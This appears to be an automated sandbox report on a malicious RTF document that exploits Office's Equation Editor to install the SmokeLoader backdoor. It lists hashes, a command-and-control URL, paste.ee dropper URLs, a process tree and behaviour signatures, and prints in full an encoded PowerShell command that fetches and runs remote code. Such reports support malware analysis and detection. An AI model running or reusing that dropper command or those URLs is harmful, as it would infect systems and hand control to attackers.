Analysis
-
max time kernel
1801s -
max time network
1571s -
platform
windows7_x64 -
resource
win7 -
submitted
28-10-2020 16:00
Static task
static1
Behavioral task
behavioral1
Sample
asdf.rtf
Resource
win7
0 signatures
0 seconds
General
-
Target
asdf.rtf
-
Size
2.3MB
-
MD5
c99321eebd53d1881ced20ddd1dbfda0
-
SHA1
db66a0c3cd32f56f68f9386cf017e39cce3dbe60
-
SHA256
88c9417d5fc9539878eff56ea8d6105711a383a15a1dc54b6918016f25880120
-
SHA512
2b3d20fc907302b9ea7bd893f684a12739ffd67586a649ebcff0a39619374fe0bb90ccb6cb055e1788c950ef58dc7547454cd1ad348a483b8400ab86509161bb
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
httPs://paste.ee/r/DUMRL
ps1.dropper
httPs://paste.ee/r/wWuSK
Extracted
Family
smokeloader
Version
2020
C2
https://www.bristell.com/files/index.php
rc4.i32
rc4.i32
Signatures
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Blocklisted process makes network request 4 IoCs
flow pid Process 6 1204 EQNEDT32.EXE 8 1204 EQNEDT32.EXE 10 1204 EQNEDT32.EXE 16 772 powershell.exe -
Executes dropped EXE 4 IoCs
pid Process 328 908.exe 288 uuiicfi 616 uuiicfi 1148 uuiicfi -
resource yara_rule upx behavioral1/files/0x00040000000130dd-2.dat upx behavioral1/files/0x00040000000130dd-4.dat upx behavioral1/files/0x00040000000130dd-5.dat upx -
Loads dropped DLL 2 IoCs
pid Process 1204 EQNEDT32.EXE 268 MSBuild.exe -
Drops file in System32 directory 2 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 772 set thread context of 268 772 powershell.exe 40 -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI MSBuild.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI MSBuild.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI MSBuild.exe -
Launches Equation Editor 1 TTPs 1 IoCs
Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.
pid Process 1204 EQNEDT32.EXE -
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-4210623931-3856158591-1213714290-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1508 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1592 powershell.exe 1592 powershell.exe 772 powershell.exe 772 powershell.exe 772 powershell.exe 772 powershell.exe 268 MSBuild.exe 268 MSBuild.exe 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found -
Suspicious behavior: MapViewOfSection 64 IoCs
pid Process 268 MSBuild.exe 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found -
Suspicious use of AdjustPrivilegeToken 9 IoCs
description pid Process Token: SeDebugPrivilege 1592 powershell.exe Token: SeDebugPrivilege 772 powershell.exe Token: SeShutdownPrivilege 1260 Process not Found Token: SeShutdownPrivilege 1260 Process not Found Token: SeShutdownPrivilege 1260 Process not Found Token: SeShutdownPrivilege 1260 Process not Found Token: SeShutdownPrivilege 1260 Process not Found Token: SeShutdownPrivilege 1260 Process not Found Token: SeShutdownPrivilege 1260 Process not Found -
Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found -
Suspicious use of SendNotifyMessage 32 IoCs
pid Process 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 328 908.exe 1260 Process not Found 1260 Process not Found 1260 Process not Found 1260 Process not Found -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 1508 WINWORD.EXE 1508 WINWORD.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1508 wrote to memory of 1840 1508 WINWORD.EXE 25 PID 1508 wrote to memory of 1840 1508 WINWORD.EXE 25 PID 1508 wrote to memory of 1840 1508 WINWORD.EXE 25 PID 1508 wrote to memory of 1840 1508 WINWORD.EXE 25 PID 1204 wrote to memory of 328 1204 EQNEDT32.EXE 32 PID 1204 wrote to memory of 328 1204 EQNEDT32.EXE 32 PID 1204 wrote to memory of 328 1204 EQNEDT32.EXE 32 PID 1204 wrote to memory of 328 1204 EQNEDT32.EXE 32 PID 328 wrote to memory of 1592 328 908.exe 36 PID 328 wrote to memory of 1592 328 908.exe 36 PID 328 wrote to memory of 1592 328 908.exe 36 PID 328 wrote to memory of 1592 328 908.exe 36 PID 1592 wrote to memory of 772 1592 powershell.exe 38 PID 1592 wrote to memory of 772 1592 powershell.exe 38 PID 1592 wrote to memory of 772 1592 powershell.exe 38 PID 1592 wrote to memory of 772 1592 powershell.exe 38 PID 772 wrote to memory of 1996 772 powershell.exe 39 PID 772 wrote to memory of 1996 772 powershell.exe 39 PID 772 wrote to memory of 1996 772 powershell.exe 39 PID 772 wrote to memory of 1996 772 powershell.exe 39 PID 772 wrote to memory of 268 772 powershell.exe 40 PID 772 wrote to memory of 268 772 powershell.exe 40 PID 772 wrote to memory of 268 772 powershell.exe 40 PID 772 wrote to memory of 268 772 powershell.exe 40 PID 772 wrote to memory of 268 772 powershell.exe 40 PID 772 wrote to memory of 268 772 powershell.exe 40 PID 772 wrote to memory of 268 772 powershell.exe 40 PID 1260 wrote to memory of 1052 1260 Process not Found 41 PID 1260 wrote to memory of 1052 1260 Process not Found 41 PID 1260 wrote to memory of 1052 1260 Process not Found 41 PID 1260 wrote to memory of 1052 1260 Process not Found 41 PID 1260 wrote to memory of 1052 1260 Process not Found 41 PID 1260 wrote to memory of 432 1260 Process not Found 42 PID 1260 wrote to memory of 432 1260 Process not Found 42 PID 1260 wrote to memory of 432 1260 Process not Found 42 PID 1260 wrote to memory of 432 1260 Process not Found 42 PID 1260 wrote to memory of 1048 1260 Process not Found 43 PID 1260 wrote to memory of 1048 1260 Process not Found 43 PID 1260 wrote to memory of 1048 1260 Process not Found 43 PID 1260 wrote to memory of 1048 1260 Process not Found 43 PID 1260 wrote to memory of 1048 1260 Process not Found 43 PID 1260 wrote to memory of 1332 1260 Process not Found 44 PID 1260 wrote to memory of 1332 1260 Process not Found 44 PID 1260 wrote to memory of 1332 1260 Process not Found 44 PID 1260 wrote to memory of 1332 1260 Process not Found 44 PID 1260 wrote to memory of 1596 1260 Process not Found 45 PID 1260 wrote to memory of 1596 1260 Process not Found 45 PID 1260 wrote to memory of 1596 1260 Process not Found 45 PID 1260 wrote to memory of 1596 1260 Process not Found 45 PID 1260 wrote to memory of 1596 1260 Process not Found 45 PID 1780 wrote to memory of 288 1780 taskeng.exe 47 PID 1780 wrote to memory of 288 1780 taskeng.exe 47 PID 1780 wrote to memory of 288 1780 taskeng.exe 47 PID 1780 wrote to memory of 288 1780 taskeng.exe 47 PID 1260 wrote to memory of 1096 1260 Process not Found 48 PID 1260 wrote to memory of 1096 1260 Process not Found 48 PID 1260 wrote to memory of 1096 1260 Process not Found 48 PID 1260 wrote to memory of 1096 1260 Process not Found 48 PID 1260 wrote to memory of 568 1260 Process not Found 50 PID 1260 wrote to memory of 568 1260 Process not Found 50 PID 1260 wrote to memory of 568 1260 Process not Found 50 PID 1260 wrote to memory of 568 1260 Process not Found 50 PID 1260 wrote to memory of 568 1260 Process not Found 50 PID 1260 wrote to memory of 432 1260 Process not Found 51
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\asdf.rtf"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1508 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:1840
-
-
C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding1⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:1204 -
C:\Users\Public\908.exeC:\Users\Public\908.exe2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:328 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -executionpolicy bypass C:\Users\Admin\AppData\Local\Temp\duOrFjsdY.ps13⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1592 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ARABVAE0AUgBMACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAiAF4AIgAsACAAIgA0ADQAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAKgAiACwAIAAiADQAOAAiACkALgBSAGUAcABsAGEAYwBlACgAIgAjACIALAAgACIANwA4ACIAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwB3AFcAdQBTAEsAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAQwAuAE0AXQA6ADoAUgAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA=4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:772 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵PID:1996
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:268
-
-
-
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1052
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:432
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1048
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1332
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1596
-
C:\Windows\system32\taskeng.exetaskeng.exe {C6FE7DD7-50BE-48AB-9CC7-612F964D9CA1} S-1-5-21-4210623931-3856158591-1213714290-1000:VDIPBIOF\Admin:Interactive:[1]1⤵
- Suspicious use of WriteProcessMemory
PID:1780 -
C:\Users\Admin\AppData\Roaming\uuiicfiC:\Users\Admin\AppData\Roaming\uuiicfi2⤵
- Executes dropped EXE
PID:288
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1096
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:568
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:432
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1784
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:324
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1720
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1820
-
C:\Windows\system32\taskeng.exetaskeng.exe {C15EE2B9-769A-4241-8B0D-BFE676C299DE} S-1-5-21-4210623931-3856158591-1213714290-1000:VDIPBIOF\Admin:Interactive:[1]1⤵PID:960
-
C:\Users\Admin\AppData\Roaming\uuiicfiC:\Users\Admin\AppData\Roaming\uuiicfi2⤵
- Executes dropped EXE
PID:616
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:560
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1896
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:188
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:976
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1844
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:920
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1832
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1716
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1488
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1856
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1560
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:572
-
C:\Windows\system32\taskeng.exetaskeng.exe {BAC70FAC-254C-4593-B6AF-9F0D0E126843} S-1-5-21-4210623931-3856158591-1213714290-1000:VDIPBIOF\Admin:Interactive:[1]1⤵PID:1556
-
C:\Users\Admin\AppData\Roaming\uuiicfiC:\Users\Admin\AppData\Roaming\uuiicfi2⤵
- Executes dropped EXE
PID:1148
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1208
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1500
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:560
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1644
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1572
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1952
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1380
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:1776
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1528
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1680
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:1676
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:308